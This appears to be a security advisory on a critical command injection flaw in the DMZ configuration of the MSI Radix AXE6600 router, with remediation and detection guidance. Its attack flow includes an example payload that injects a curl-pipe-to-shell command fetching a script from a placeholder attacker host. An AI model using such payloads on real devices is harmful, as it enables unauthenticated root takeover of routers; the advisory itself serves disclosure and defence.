Executive Summary
A critical command injection vulnerability (CVE-2026-71986) has been disclosed in the MSI Radix AXE6600 tri-band Wi-Fi 6E router. This flaw, located in the router's dmz function, allows remote attackers to inject and execute arbitrary OS commands with root privileges. It is the fourth in a cluster of four critical command injection CVEs (71983–71986) simultaneously disclosed for MSI Radix AXE6600 firmware version v781521.
CVSS Score: 9.8 (Critical)
The DMZ (Demilitarized Zone) function is typically used to expose a single internal host to the internet without firewall restriction. A command injection flaw here gives attackers the ability to manipulate network architecture and achieve full root control of the router.
Vulnerability Overview
| Attribute | Value |
|---|---|
| CVE ID | CVE-2026-71986 |
| CVSS Score | 9.8 (Critical) |
| Type | Command Injection |
| Affected Component | dmz — DMZ host configuration |
| Attack Vector | Network |
| Authentication | None required |
| Privileges Required | None |
| User Interaction | None |
| Impact | Root command execution |
Root Cause
The MSI Radix AXE6600's DMZ configuration function accepts parameters such as a target IP address for the DMZ host. In firmware v781521, this input is passed directly into shell commands without sanitization, allowing an attacker to inject shell metacharacters and execute arbitrary commands as root.
This represents CWE-78 (OS Command Injection) — a top-ranked vulnerability class in embedded network device firmware that is straightforwardly prevented by validating and escaping all user input before use in system calls.
Affected Versions
| Product | Firmware Version | Status |
|---|---|---|
| MSI Radix AXE6600 | v781521 | Vulnerable |
Technical Details
DMZ Function Context
The DMZ feature forwards all inbound traffic from the WAN to a designated internal host, bypassing the router's firewall. This makes it a sensitive configuration point — it directly controls which internal devices are exposed to the internet. A command injection vulnerability in DMZ configuration is particularly dangerous because:
- It may already be accessible from WAN — DMZ hosts are by definition internet-facing, and the configuration endpoint may share the same exposure
- It controls network exposure — post-exploit, attackers can add or remove DMZ rules to expose or shield internal hosts
- Root access from a network-control function — full access to iptables, routing tables, and WAN/LAN configuration
Attack Flow
1. Attacker sends crafted request to the DMZ configuration endpoint
2. Malicious DMZ host IP parameter contains injected shell payload
Example: 192.168.1.100;curl http://attacker.com/c2.sh|sh
3. Firmware passes unsanitized value to system() or equivalent
4. Shell executes both legitimate DMZ config AND injected command as root
5. Attacker achieves persistent root access to the routerThe Four-CVE Pattern
The disclosure of CVE-2026-71983 through CVE-2026-71986 in rapid succession reveals a recurring pattern: multiple independent CGI handlers and web functions all share the same defect — user input passed to shell without sanitization. This is characteristic of embedded firmware developed without security code review or SAST tooling.
| Function | CVE | Attack Parameter Type |
|---|---|---|
wps.cgi | 71983 | WPS PIN values (pin2g/pin5g/pin6g) |
urlfilter | 71984 | URL/domain strings |
accesscontrol | 71985 | Access policy parameters |
dmz | 71986 | DMZ host IP address |
Impact
Successful exploitation allows an attacker to:
- Execute arbitrary commands as root on the MSI Radix AXE6600
- Modify DMZ rules to expose or protect internal hosts at will
- Intercept all WAN/LAN traffic passing through the device
- Alter iptables rules — adding or removing firewall policies
- Establish persistent backdoors via cron jobs or firmware modification
- Redirect DNS or routing for man-in-the-middle attacks
- Pivot into the internal network from the internet
If the router's admin interface is exposed to the internet via remote management or a misconfiguration, this vulnerability is exploitable from the open internet without any authentication.
Remediation
Immediate Actions
- Apply firmware patch from MSI as soon as available — check the MSI support portal
- Disable the DMZ feature if not in active use — this directly removes the attack surface for CVE-2026-71986
- Disable WAN-side administration to prevent remote exploitation of all four CVEs
- Audit current DMZ configuration — verify no unauthorized host has been placed in the DMZ
- Review firewall and port forwarding rules for unauthorized modifications
Comprehensive Mitigation for All Four CVEs
Since CVE-2026-71983 through 71986 all share the same underlying weakness across different functions, disabling all four affected features (WPS, URL filtering, access control, DMZ) provides the broadest attack surface reduction while awaiting a patch:
| Feature | CVE Mitigated | How to Disable |
|---|---|---|
| WPS | 71983 | Router wireless settings → Disable WPS |
| URL filtering | 71984 | Parental controls / content filtering → Off |
| Access control | 71985 | Device management / MAC filtering → Off |
| DMZ | 71986 | NAT / Firewall settings → Disable DMZ |
Disabling these features does not prevent the router from functioning for general internet and Wi-Fi use.
Detection
| Indicator | Description |
|---|---|
| DMZ host IP changed unexpectedly | Attacker may expose an internal host |
| Firewall rules modified | Unauthorized iptables changes |
| New scheduled tasks | Persistence mechanism post-compromise |
| Unusual outbound connections from router IP | C2 beacon or data exfiltration |
| Admin credentials changed | Unauthorized access |
Related CVEs
The complete cluster of simultaneously disclosed MSI Radix AXE6600 vulnerabilities:
| CVE | Affected Function | CVSS | Advisory |
|---|---|---|---|
| CVE-2026-71983 | wps.cgi (pin2g/pin5g/pin6g) | 9.8 | View |
| CVE-2026-71984 | urlfilter | 9.8 | View |
| CVE-2026-71985 | accesscontrol | 9.8 | View |
| CVE-2026-71986 (this advisory) | dmz | 9.8 | — |
Key Takeaways
- CVSS 9.8 Critical — Unauthenticated remote command injection, root impact
- DMZ function is the attack vector — a network exposure feature exploitable to gain full control
- Fourth in a cluster of four CVEs — MSI Radix AXE6600 firmware v781521 has systemic input sanitization failures across multiple subsystems
- Disable DMZ immediately if not required — eliminates this specific attack surface
- Patch all four CVEs together when MSI releases updated firmware; treat as a single systemic remediation event